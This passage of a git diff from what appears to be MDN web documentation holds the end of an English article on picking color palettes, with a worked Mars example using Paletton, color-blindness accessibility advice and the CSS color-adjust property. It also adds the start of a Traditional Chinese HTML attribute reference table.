+<p>The advantage to averaging colors can be that often what looks like a solid color is actually a surprisingly varied number of related colors all used in concert, blending to create a desired effect. Picking just one of these pixels can result in getting a color that on its own looks very out of place.</p>
+</div>
+
+<h4 id="Fleshing_out_the_palette">Fleshing out the palette</h4>
+
+<p>Once you have decided on your base color, there are plenty of online tools that can help you build out a palette of appropriate colors to use along with your base color by applying color theory to your base color to determine appropriate added colors. Many of these tools also support viewing the colors filtered so you can see what they would look like to people with various forms of color blindness. See {{anch("Color and accessibility")}} for a brief explanation of why this matters.</p>
+
+<p>A few examples (all free to use as of the time this list was last revised):</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">MDN's color picker tool</a></li>
+ <li><a href="http://paletton.com">Paletton</a></li>
+ <li><a href="https://color.adobe.com/create/color-wheel">Adobe Color CC online color wheel</a></li>
+</ul>
+
+<p>When designing your palette, be sure to keep in mind that in addition to the colors these tools typically generate, you'll probably also need to add some core neutral colors such as white (or nearly white), black (or nearly black), and some number of shades of gray.</p>
+
+<div class="note">
+<p>Usually, you are far better off using the smallest number of colors possible. By using color to accentuate rather than adding color to everything on the page, you keep your content easy to read and the colors you do use have far more impact.</p>
+</div>
+
+<h3 id="Color_theory_resources">Color theory resources</h3>
+
+<p>A full review of color theory is beyond the scope of this article, but there are plenty of articles about color theory available, as well as courses you can find at nearby schools and universities. A couple of useful resources about color theory:</p>
+
+<dl>
+ <dt><a href="https://www.khanacademy.org/partner-content/pixar/color">Color Science</a> (<a href="https://www.khanacademy.org/">Khan Academy</a> in association with <a href="https://www.pixar.com/">Pixar</a>)</dt>
+ <dd>An online course which introduces concepts such as what color is, how it's percieved, and how to use colors to express ideas. Presented by Pixar artists and designers.</dd>
+ <dt>{{interwiki("wikipedia", "Color theory")}} on Wikipedia</dt>
+ <dd>Wikipedia's entry on color theory, which has a lot of great information from a technical perspective. It's not really a resource for helping you with the color sleection process, but is still full of useful information.</dd>
+</dl>
+
+<h3 id="Color_and_accessibility">Color and accessibility</h3>
+
+<p>There are several ways color can be an {{Glossary("accessibility")}} problem. Improper or careless use of color can result in a web site or app that a percentage of your target audience may not be able to use adequately, resulting in lost traffic, lost business, and possibly even a public relations problem. So it's important to consider your use of color carefully.</p>
+
+<p>You should do at least basic research into {{interwiki("wikipedia", "color blindness")}}. There are several kinds; the most common is red-green color blindness, which causes people to be unable to differentiate between the colors red and green. There are others, too, ranging from inabilities to tell the difference between certain colors to total inability to see color at all.</p>
+
+<div class="note">
+<p>The most important rule: never use color as the only way to know something. If, for example, you indicate success or failure of an operation by changing the color of a shape from white to green for success and red for failure, users with red-green color-blindness won't be able to use your site properly. Instead, perhaps use both text and color together, so that everyone can understand what's happening.</p>
+</div>
+
+<p>For more information about color blindness, see the following articles:</p>
+
+<ul>
+ <li><a href="https://medlineplus.gov/colorblindness.html">Medline Plus: Color Blindness</a> (United States National Institute of Health)</li>
+ <li><a href="https://www.aao.org/eye-health/diseases/what-is-color-blindness">American Academy of Ophthamology: What Is Color Blindness?</a></li>
+ <li><a href="https://www.usability.gov/get-involved/blog/2010/02/color-blindness.html">Color Blindness &amp; Web Design</a> (Usability.gov: United States Department of Health and Human Services)</li>
+</ul>
+
+<h3 id="Palette_design_example">Palette design example</h3>
+
+<p>Let's consider a quick example of selecting an appropriate color palette for a site. Imagine that you're building a web site for a new game that takes place on the planet Mars. So let's do a <a href="https://www.google.com/search?q=Mars&amp;tbm=isch">Google search for photos of Mars</a>. Lots of good examples of Martian coloration there. We carefully avoid the mockups and the photos from movies. And we decide to use a photo taken by one of the Mars landers humanity has parked on the surface over the last few decades, since the game takes place on the planet's surface. We use a color picker tool to select a sample of the color we choose.</p>
+
+<p>Using an eyedropper tool, we identify a color we like and determine that the color in question is <code>#D79C7A</code>, which is an appropriate rusty orange-red color that's so stereotypical of the Martian surface.</p>
+
+<p>Having selected our base color, we need to build out our palette. We decide to use <a href="http://www.paletton.com/">Paletton</a> to come up with the other colors we need. Upon opening Paletton, we see:</p>
+
+<p><img alt="Right after loading Paletton." src="https://mdn.mozillademos.org/files/15451/paletton1.png" style="height: 361px; width: 600px;"></p>
+
+<p>Next, we enter our color's hex code (<code>D79C7A</code>) into the "Base RGB" box at the bottom-left corner of the tool:</p>
+
+<p><img alt="After entering base color" src="https://mdn.mozillademos.org/files/15453/paletton2.png" style="height: 361px; width: 600px;"></p>
+
+<p>We now see a monochromatic palette based on the color we picked from the Mars photo. If you need a lot of related colors for some reason, those are likely to be good ones. But what we really want is an accent color. Something that will pop along side the base color. To find that, we click the "add complementary" toggle underneath the menu that lets you select the palette type (currently "Monochromatic"). Paletton computes an appropriate accent color; clicking on the accent color down in the bottom-right corner tells us that this color is <code>#508D7C</code>.</p>
+
+<p><img alt="Now with complementary colors included." src="https://mdn.mozillademos.org/files/15455/paletton3.png" style="height: 361px; width: 600px;"></p>
+
+<p>If you're unhappy with the color that's proposed to you, you can change the color scheme, to see if you find something you like better. For example, if we don't like the proposed greenish-blue color, we can click the Triad color scheme icon, which presents us with the following:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15457/paletton4.png" style="height: 361px; width: 600px;"></p>
+
+<p>That greyish blue in the top-right looks pretty good. Clicking on it, we find that it's <code>#556E8D</code>. That would be used as the accent color, to be used sparingly to make things stand out, such as in headlines or in the highlighting of tabs or other indicators on the site:</p>
+
+<p><img alt="Triad color scheme selected" src="https://mdn.mozillademos.org/files/15459/paletton-color-detail.png" style="height: 370px; width: 526px;"></p>
+
+<p>Now we have our base color and our accent. On top of that, we have a few complementary shades of each, just in case we need them for gradients and the like. The colors can then be exported in a number of formats so you can make use of them.</p>
+
+<p>Once you have these colors, you will probably still need to select appropriate neutral colors. Common design practice is to try to find the sweet spot where there's just enough contrast that the text is crisp and readable but not enough contrast to become harsh for the eyes. It's easy to go too far in one way or another so be sure to get feedback on your colors once you've selected them and have examples of them in use available. If the contrast is too low, your text will tend to be washed out by the background, leaving it unreadable, but if your contrast is too high, the user may find your site garish and unpleasant to look at.</p>
+
+<h3 id="Color_backgrounds_contrast_and_printing">Color, backgrounds, contrast, and printing</h3>
+
+<p>What looks good on screen may look very different on paper. In addition, ink can be expensive, and if a user is printing your page, they don't necessarily need all the backgrounds and such using up their precious ink when all that matters is the text itself. Most browsers, by default, remove background images when printing documents.</p>
+
+<p>If your background colors and images have been selected carefully and/or are crucial to the usefulness of the content, you can use the CSS {{cssxref("color-adjust")}} property to tell the browser that it should not make adjustments to the appearance of content.</p>
+
+<p>The default value of <code>color-adjust</code>, <code>economy</code>, indicates that the browser is allowed to make appearance changes as it deems necessary in order to try to optimize the legibility and/or print economy of the content, given the type of output device the document is being drawn onto.</p>
+
+<p>You can set <code>color-adjust</code> to <code>exact</code> to tell the browser that the element or elements on which you use it have been designed specifically to best work with the colors and images left as they are. With this set, the browser won't tamper with the appearance of the element, and will draw it as indicated by your CSS.</p>
+
+<div class="note">
+<p><strong>Note:</strong> There is no guarantee, though, that <code>color-adjust: exact</code> will result in your CSS being used exactly as given. If the browser provides user preferences to change the output (such as a "don't print backgrounds" checkbox in a print dialog box), that overrides the value of <code>color-adjust</code>.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the web</a></li>
+ <li><a href="/en-US/docs/Tools/DevToolsColors">MDN's color picker tool</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/attributes/index.html b/files/zh-tw/web/html/attributes/index.html
new file mode 100644
index 0000000000..834f36b4a9
--- /dev/null
+++ b/files/zh-tw/web/html/attributes/index.html
@@ -0,0 +1,643 @@
+---
+title: HTML attribute reference
+slug: Web/HTML/Attributes
+translation_of: Web/HTML/Attributes
+---
+<p>HTML 中的元素具有<strong>屬性 </strong>; 而這些屬性可以藉由各種方式去設定元素或調整它們的行為，以符合使用者的期待。</p>
+
+<h2 id="屬性列表">屬性列表</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>屬性名稱</th>
+   <th>元素</th>
+   <th>描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hidden</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>避免呈現給定的元素，並且保持子元素，例如 script elements、active。</td>
+  </tr>
+  <tr>
+   <td><code>high</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>指示下界的上限範圍。</td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
+   <td>連結資源的 URL。</td>
+  </tr>
+  <tr>
+   <td><code>hreflang</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>指定連結資源的語言。</td>
+  </tr>
+  <tr>
+   <td><code>http-equiv</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td>指定呈現指令的圖片。</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>經常和 CSS 一起被用來設計特定元素。這個屬性的值必須是唯一的。</td>
+  </tr>
+  <tr>
+   <td><code>ismap</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>指示該圖像是伺服器端之影像地圖的一部分。</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>keytype</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>指定所生成密鑰的類型。</td>
+  </tr>
+  <tr>
+   <td><code>kind</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>指明文章 track 的類型。</td>
+  </tr>
+  <tr>
+   <td><code>label</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>指明文章 track 的使用者可讀之標題。</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>定義該元素中所使用的語言。</td>
+  </tr>
+  <tr>
+   <td><code>language</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>定義該元素中所使用的腳本語言。</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>指示一串預先定義的選項供使用者參考。</td>
+  </tr>
+  <tr>
+   <td><code>loop</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
+   <td>指示當媒體完成時，是否應該從一開始的時候播放。</td>
+  </tr>
+  <tr>
+   <td><code>low</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>指示上界的下限範圍。</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{ HTMLElement("html") }}</td>
+   <td>指定文件中緩存清單的 URL。</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>指示所允許的最大值。</td>
+  </tr>
+  <tr>
+   <td><code>maxlength</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>定義該元素中所允許的最大字元數目。</td>
+  </tr>
+  <tr>
+   <td><code>media</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
+   <td>指定一些連接資源已經被設計的媒體。</td>
+  </tr>
+  <tr>
+   <td><code>method</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>定義當呈交該格式時，哪個 HTTP 方法要被使用。可以用 GET（預設）或是 POST。</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+   <td>指示所允許的最小值。</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>指示多個值是否可以進入單一輸入的 <code>email</code> 或是 <code>file</code> 之類別。</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
+   <td>
+    <p>元素的名字。例如被伺服器所使用時，來識別格式提交的現場。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>該屬性指示當本格式被提交時，並無法通過驗證。</td>
+  </tr>
+  <tr>
+   <td><code>open</code></td>
+   <td>{{ HTMLElement("details") }}</td>
+   <td>指示是否細節顯示於加載頁面上。</td>
+  </tr>
+  <tr>
+   <td><code>optimum</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>指示最佳化數值。</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>定義一個元素值將被驗證的正規表達式。</td>
+  </tr>
+  <tr>
+   <td><code>ping</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>提示使用者什麼可以被輸入進該區。</td>
+  </tr>
+  <tr>
+   <td><code>poster</code></td>
+   <td>{{ HTMLElement("video") }}</td>
+   <td>
+    <p>顯現一個指示 poster frame 的 URL，直到使用者撥放或是搜索。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>指示是否整個資源、一部分的資源、或是沒有資源應該被預先裝載。</td>
+  </tr>
+  <tr>
+   <td><code>pubdate</code></td>
+   <td>{{ HTMLElement("time") }}</td>
+   <td>指示該日期和時間，是否和距離最近的 {{ HTMLElement("article") }} 舊元素的日期一樣。</td>
+  </tr>
+  <tr>
+   <td><code>radiogroup</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>指示是否該元素可以被編輯。</td>
+  </tr>
+  <tr>
+   <td><code>rel</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>指定目標物件和連結物驗的關係。</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>指示該元素是否被要求填寫。</td>
+  </tr>
+  <tr>
+   <td><code>reversed</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>指示該目錄是否應以降序展出而不是升序。</td>
+  </tr>
+  <tr>
+   <td><code>rows</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>定義 textarea 的行數。</td>
+  </tr>
+  <tr>
+   <td><code>rowspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>定義表格單元的行數應該被 span over。</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>指示為該元素的拼字檢查是否允許。</td>
+  </tr>
+  <tr>
+   <td><code>scope</code></td>
+   <td>{{ HTMLElement("th") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>{{ HTMLElement("style") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>seamless</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>selected</code></td>
+   <td>{{ HTMLElement("option") }}</td>
+   <td>定義一個值將被選擇到上載頁面中。</td>
+  </tr>
+  <tr>
+   <td><code>shape</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>定義元素的寬度 (以 pixel 為單位) 。如果該元素之類型的屬性是文本或是密碼，那麼它就是字元的數目。</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>{{ HTMLElement("link") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>span</code></td>
+   <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
+   <td>可嵌入內容的網址。</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>srclang</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>如果第一個數字不是 1 的話，則定義該數。</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>定義多載先前的樣式設定之 CSS 樣式。</td>
+  </tr>
+  <tr>
+   <td><code>summary</code></td>
+   <td>{{ HTMLElement("table") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>多載瀏覽器的預設頁面標籤之順序並且遵守指定的那個。</td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>當滑鼠標停在元素時，文本會顯示在工具提示中。</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
+   <td>定義元素的類型。</td>
+  </tr>
+  <tr>
+   <td><code>usemap</code></td>
+   <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
+   <td>定義將顯示在加載頁面上元素的預設值。</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>注意 : 在有些情況中，例如 {{ HTMLElement("div") }}，這是傳統的屬性，而 CSS {{ Cssxref("width") }} 特性應當被使用。在其他的情況中，例如 {{ HTMLElement("canvas") }} ，寬度必須用該屬性來指定。</td>
+  </tr>
+  <tr>
+   <td><code>wrap</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>指定文章是否要被掩飾。</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>border</code></td>
+   <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
+   <td>
+    <p>邊界寬度。</p>
+
+    <p>注意 : 這是一個傳統的屬性。請利用 CSS {{ Cssxref("border") }} 特性。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>buffered</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>包含被緩衝之媒體的時間範圍。</td>
+  </tr>
+  <tr>
+   <td><code>challenge</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>隨著公共密鑰提交的挑戰字串。</td>
+  </tr>
+  <tr>
+   <td><code>charset</code></td>
+   <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
+   <td>聲明頁面或腳本的字元編碼。</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
+   <td>指定在加載頁面上的元素是否要被檢查。</td>
+  </tr>
+  <tr>
+   <td><code>cite</code></td>
+   <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
+   <td>包含一個 URL，用來指出引用或是改變的來源地址。</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>經常使用共同屬性和 CSS 一起設計元素。</td>
+  </tr>
+  <tr>
+   <td><code>code</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>指明被加載與執行的 applet 類別文件之 URL。</td>
+  </tr>
+  <tr>
+   <td><code>codebase</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.</td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
+   <td>
+    <p>該屬性使用命名顏色或十六進制 #RRGGBB 格式來設置文本顏色。</p>
+
+    <p>注意 : 這是一個傳統的屬性。請使用 CSS {{ Cssxref("color") }} 特性。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cols</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>定義在一個 textarea 中有多少欄位。</td>
+  </tr>
+  <tr>
+   <td><code>colspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>colspan 屬性定義一個單元格之欄位的數量。</td>
+  </tr>
+  <tr>
+   <td><code>content</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td>一個有關於<strong> </strong><code>http-equiv</code> 或是根據上下文 <code>name</code> 的值 。</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>指定元素的內容是否可以被編輯。</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>定義將作為元素上下文選項單的 {{ HTMLElement("menu") }} 元素之 ID。</td>
+  </tr>
+  <tr>
+   <td><code>controls</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>指定瀏覽器是否應該顯示錄放控制給使用者。</td>
+  </tr>
+  <tr>
+   <td><code>coords</code></td>
+   <td>{{ HTMLElement("area") }}</td>
+   <td>一組值指明熱點區域的座標。</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>data</code></p>
+   </td>
+   <td>
+    <p>{{ HTMLElement("object") }}</p>
+   </td>
+   <td>
+    <p>指明 URL 的資源。</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>data-*</code></p>
+   </td>
+   <td>
+    <p><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></p>
+   </td>
+   <td>
+    <p>讓您可以將自行定義屬性附加在 HTML 元素上。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>datetime</code></td>
+   <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
+   <td>指定元素所相關的日期與時間。</td>
+  </tr>
+  <tr>
+   <td><code>default</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>指定 track 應被啟用，除非使用者的偏好表示不同。</td>
+  </tr>
+  <tr>
+   <td><code>defer</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>指定該頁面被瀏覽完後腳本應被執行。</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>定義文章的方向。被允許的值有 ltr (Left-To-Right) 或 rtl (Right-To-Left)。</td>
+  </tr>
+  <tr>
+   <td><code>dirname</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>指名使用者是否可以與元素互動。</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td>
+    <p>指定該超連結是用於下載的資源。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>定義元素是否可以拖曳。</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+   <td>指定該元素接受它內容的滑鼠落下物。</td>
+  </tr>
+  <tr>
+   <td><code>enctype</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>當方法為 POST 的時候，定義格式日期的內容類型。</td>
+  </tr>
+  <tr>
+   <td><code>for</code></td>
+   <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+   <td>描述屬於這一個的元素。</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>
+    <p>指定元素之所有者的格式。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formaction</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("button") }}</td>
+   <td>指定元素的作用，多載的動作被定義在 {{ HTMLElement("form") }}。</td>
+  </tr>
+  <tr>
+   <td><code>headers</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>對適用於該元素的 &lt;th&gt; 元素之 ID。</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>注意 : 在有些情況中，例如 {{ HTMLElement("div") }}，這是傳統的屬性，而 CSS {{ Cssxref("height") }} 特性應當被使用。在其他的情況中，例如 {{ HTMLElement("canvas") }}，高度必須用該屬性來指定。</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>伺服器接受的類型之列表，通常是文件類型。</td>
+  </tr>
+  <tr>
+   <td><code>accept-charset</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>支持字元集的列表。</td>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
